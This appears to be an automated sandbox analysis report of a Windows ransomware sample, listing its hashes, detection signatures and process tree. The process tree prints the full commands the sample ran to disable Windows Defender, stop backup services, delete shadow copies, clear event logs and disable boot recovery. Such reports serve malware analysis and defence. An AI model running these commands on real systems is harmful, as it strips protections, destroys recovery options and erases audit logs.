Analysis

  • max time kernel
    116s
  • max time network
    118s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    22/11/2021, 11:37

General

  • Target

    400743b945a4341559734ca144be4a96d325b9cb76169a5c43e82b21d3c59278.exe

  • Size

    3.4MB

  • MD5

    748281385a89ef70a5edfd92524d4352

  • SHA1

    133e478af4b36359f51e3d4e5de58401fb8ec179

  • SHA256

    400743b945a4341559734ca144be4a96d325b9cb76169a5c43e82b21d3c59278

  • SHA512

    9086f75237f1acfa6dc62243af54bf888d9c69ed9f53d91f2af25c229499279e25691cf4c58e5b03d0feb74618719fd94411d8bc78e81bb4daa0a0d853befcba

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Modifies extensions of user files 8 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\400743b945a4341559734ca144be4a96d325b9cb76169a5c43e82b21d3c59278.exe
    "C:\Users\Admin\AppData\Local\Temp\400743b945a4341559734ca144be4a96d325b9cb76169a5c43e82b21d3c59278.exe"
    1⤵
    • Modifies extensions of user files
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3208
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:548
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:1344
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2624
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:1252
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1336
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:1576
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:900
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:4008
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3736
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:4048
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2128
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:2876
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2040
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:676
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1288
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:1168
                    • C:\Windows\SYSTEM32\net.exe
                      net.exe stop "UnistoreSvc_13790" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2364
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_13790" /y
                        3⤵
                          PID:2448
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:3644
                        • C:\Windows\SYSTEM32\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:1620
                          • C:\Windows\SYSTEM32\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:948
                            • C:\Windows\SYSTEM32\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:1156
                              • C:\Windows\SYSTEM32\sc.exe
                                sc.exe config "vmicvss" start= disabled
                                2⤵
                                  PID:428
                                • C:\Windows\SYSTEM32\sc.exe
                                  sc.exe config "VSS" start= disabled
                                  2⤵
                                    PID:756
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc.exe config "wbengine" start= disabled
                                    2⤵
                                      PID:2360
                                    • C:\Windows\SYSTEM32\sc.exe
                                      sc.exe config "WebClient" start= disabled
                                      2⤵
                                        PID:1808
                                      • C:\Windows\SYSTEM32\sc.exe
                                        sc.exe config "UnistoreSvc_13790" start= disabled
                                        2⤵
                                          PID:2008
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                          2⤵
                                            PID:2112
                                          • C:\Windows\SYSTEM32\reg.exe
                                            reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                            2⤵
                                              PID:2784
                                            • C:\Windows\SYSTEM32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              2⤵
                                                PID:4004
                                              • C:\Windows\SYSTEM32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:3852
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  2⤵
                                                    PID:596
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:700
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:2120
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:3080
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:3180
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:1624
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                              2⤵
                                                                PID:3788
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                2⤵
                                                                  PID:1180
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:1280
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1916
                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                      2⤵
                                                                        PID:2308
                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                        2⤵
                                                                          PID:3500
                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                          2⤵
                                                                            PID:3540
                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                            2⤵
                                                                              PID:2612
                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                              2⤵
                                                                                PID:1752
                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                2⤵
                                                                                  PID:1844
                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                  2⤵
                                                                                    PID:372
                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                    2⤵
                                                                                      PID:1692
                                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                      2⤵
                                                                                        PID:2628
                                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                        2⤵
                                                                                          PID:1504
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:2520
                                                                                          • C:\Windows\SYSTEM32\reg.exe
                                                                                            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                            2⤵
                                                                                              PID:3496
                                                                                            • C:\Windows\SYSTEM32\reg.exe
                                                                                              reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                              2⤵
                                                                                                PID:2280
                                                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:1548
                                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:1592
                                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:2248
                                                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                      2⤵
                                                                                                        PID:3720
                                                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                        2⤵
                                                                                                          PID:3640
                                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                          2⤵
                                                                                                            PID:1296
                                                                                                          • C:\Windows\SYSTEM32\vssadmin.exe
                                                                                                            vssadmin.exe delete shadows /all /quiet
                                                                                                            2⤵
                                                                                                            • Interacts with shadow copies
                                                                                                            PID:2948
                                                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                            wevtutil.exe cl system
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:3560
                                                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                            wevtutil.exe cl security
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1516
                                                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                            wevtutil.exe cl application
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:2244
                                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:592
                                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                                            wmic.exe shadowcopy delete
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1252
                                                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                            2⤵
                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                            PID:1496
                                                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                                                            2⤵
                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                            PID:1796
                                                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                            2⤵
                                                                                                              PID:676
                                                                                                              • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                                3⤵
                                                                                                                • Deletes Windows Defender Definitions
                                                                                                                PID:376
                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                              2⤵
                                                                                                                PID:3376
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                                  3⤵
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  PID:1164
                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                                2⤵
                                                                                                                  PID:3588
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                                    3⤵
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:1536

                                                                                                              Network

                                                                                                              MITRE ATT&CK Enterprise v6

                                                                                                              Replay Monitor

                                                                                                              Loading Replay Monitor...

                                                                                                              Downloads

                                                                                                              • memory/1164-184-0x000001D7E9150000-0x000001D7E9152000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-186-0x000001D7EB380000-0x000001D7EB381000-memory.dmp

                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/1164-180-0x000001D7E9150000-0x000001D7E9152000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-179-0x000001D7E9150000-0x000001D7E9152000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-181-0x000001D7E9150000-0x000001D7E9152000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-182-0x000001D7E9150000-0x000001D7E9152000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-183-0x000001D7EABE0000-0x000001D7EABE1000-memory.dmp

                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/1164-185-0x000001D7E9150000-0x000001D7E9152000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-187-0x000001D7E9150000-0x000001D7E9152000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-190-0x000001D7EABA3000-0x000001D7EABA5000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-189-0x000001D7EABA0000-0x000001D7EABA2000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-191-0x000001D7EABA6000-0x000001D7EABA8000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-212-0x000001D7E9150000-0x000001D7E9152000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1164-213-0x000001D7EABA8000-0x000001D7EABA9000-memory.dmp

                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/1536-215-0x000001913E4D0000-0x000001913E4D2000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-247-0x0000019140073000-0x0000019140075000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-218-0x000001913E4D0000-0x000001913E4D2000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-217-0x000001913E4D0000-0x000001913E4D2000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-250-0x0000019140078000-0x0000019140079000-memory.dmp

                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/1536-222-0x000001913E4D0000-0x000001913E4D2000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-224-0x000001913E4D0000-0x000001913E4D2000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-216-0x000001913E4D0000-0x000001913E4D2000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-244-0x0000019140070000-0x0000019140072000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-249-0x000001913E4D0000-0x000001913E4D2000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-221-0x000001913E4D0000-0x000001913E4D2000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1536-248-0x0000019140076000-0x0000019140078000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB